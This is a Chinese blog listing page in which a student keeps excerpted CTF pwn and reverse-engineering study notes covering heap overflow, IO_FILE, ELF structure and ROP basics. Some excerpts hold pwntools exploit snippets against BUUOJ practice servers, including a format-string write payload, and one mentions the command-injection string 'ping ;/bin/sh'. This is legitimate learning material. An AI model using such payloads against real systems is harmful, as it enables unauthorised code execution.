pwn
20000s
这个作者很懒,什么都没留下…
展开
-
堆的攻击方式
堆溢出堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。calloc ==malloc + memesetremalloc = malloc + free寻找危险函数通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。常见的危险函数如下输入 g.原创 2020-10-28 10:35:38 · 510 阅读 · 0 评论 -
io?(记一笔)
io_file的结构truct_IO_FILE5.{6.int_flags;/*High-orderwordis_IO_MAGIC;restisflags.*/7.8./*ThefollowingpointerscorrespondtotheC++streambufprotocol.*/9.char*_IO_read_ptr;/*Currentreadpointer*/10.char*_IO_read_end;/*Endofgetarea.*/11.char*_IO_read_base;/*Startof原创 2020-10-21 11:15:58 · 105 阅读 · 0 评论 -
pwn_heap(未完待续)
早上上信安数基,了解了中国剩余定理,就是求同余方程组的解,找时间,用c++复现以下pwn_heap堆在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。mallocmalloc 函数返回对应大小字节的内存块的指针。此外,该函数还对一些异常情况进行了处理当 n=0 时,返回当前系统允许的堆的最小内存块。当 n 为负数时,由于在大多数系统上,size_t 是无符号原创 2020-10-15 16:07:13 · 507 阅读 · 1 评论 -
elf文件结构
elf文件结构有三种类型可重定位文件(Relocatable File),包含由编译器生成的代码以及数据。链接器会将它与其它目标文件链接起来从而创建可执行文件或者共享目标文件。在 Linux 系统中,这种文件的后缀一般为 .o 。可执行文件(Executable File),就是我们通常在 Linux 中执行的程序。共享目标文件(Shared Object File),包含代码和数据,这种文件是我们所称的库文件,一般以 .so 结尾。一般情况下,它有以下两种使用情景链接器(Link eDitor,原创 2020-10-11 15:45:28 · 1209 阅读 · 0 评论 -
今日pwn学习
今天 主要写了re,复现了gactf的那道lazz的题,初步了解了lazz算法,(0xffe),还有sctf的easyre,出的是真的好,exit的回调函数,dll,tls,反寻常的调试,pwn方面写了个pwn_start,看了一下srop,简单的来说,假如我们可以栈溢出的话,利用signal的机制,最后的sigret,把原本的signal Frame,覆盖成我们想要的,关键是sigret,有他就可以srop了,vn的babybabypwn很符合...原创 2020-10-06 01:00:48 · 146 阅读 · 0 评论 -
pwn学习(四)
今天复现了gactf的simulator,lc3的的汇编感觉和mips满像的pwn方面看了brop,感觉只有盲打有用,感觉对一个re手并不需要,算了就当看看吧在刷题上,位只能说今天做的三道题都和格式化字符串有关,我都不会(好菜阿),但是学到了很多,不得不说格式化字符串好不熟练阿。。。。others_baby_stackfrom pwn import *p = remote('node3.buuoj.cn',28992)#p = process('./main')elf = ELF('./mai原创 2020-10-04 01:07:22 · 272 阅读 · 0 评论 -
pwn学习(3)
今天复现了一个gactf的wannaflag,od断到text直接就可以看加密,比较简单在pwn方面,今天依旧在刷题,没学习什么知识,(真是懒狗),不过做题过程碰到几个点,没有遇到过,提一下,system(‘ping ;/bin/sh’)system原来可以接连两三个指令seccomp可以用来限制系统调用,orz向我展示了pwntool的功能orzfrom pwn import *p = remote('node3.buuoj.cn',25572)shellcode = shellcr原创 2020-10-03 01:38:16 · 209 阅读 · 0 评论 -
pwn学习(二)
今天主要刷了点题,学到个格式化字符串泄漏cancaryfmfrom pwn import *#p = process('./main')p = remote('node3.buuoj.cn',28633)payload = '%4c%13$n' + p32(0x804a02c)p.send(payload)#print(p.recv())p.interactive()格式化字符串覆盖小数字jarvisoj_tell_me_somethingfrom pwn import *p =原创 2020-10-02 09:53:57 · 870 阅读 · 0 评论 -
pwn学习(一)
已经大二上了,一直在划水,要重新开始学习了我要做到不打比赛时看书,打比赛写wp,太懒了32位传参,返回地址,另一个返回地址,参数,压栈64位传参,gcc 寄存器 rdi rsi dx rcx r8 r9(参数),返回地址(压栈)(1)栈溢出basic_rop1.ret2text这个比较弱智,自带system(’/bin/sh’),只要改一下返回地址就行2,ret2shellcode这种的话用pwntool自带的shellcraft,sh()构造放在bss段或者栈上就行了,比较简单3.re原创 2020-10-01 00:01:26 · 530 阅读 · 0 评论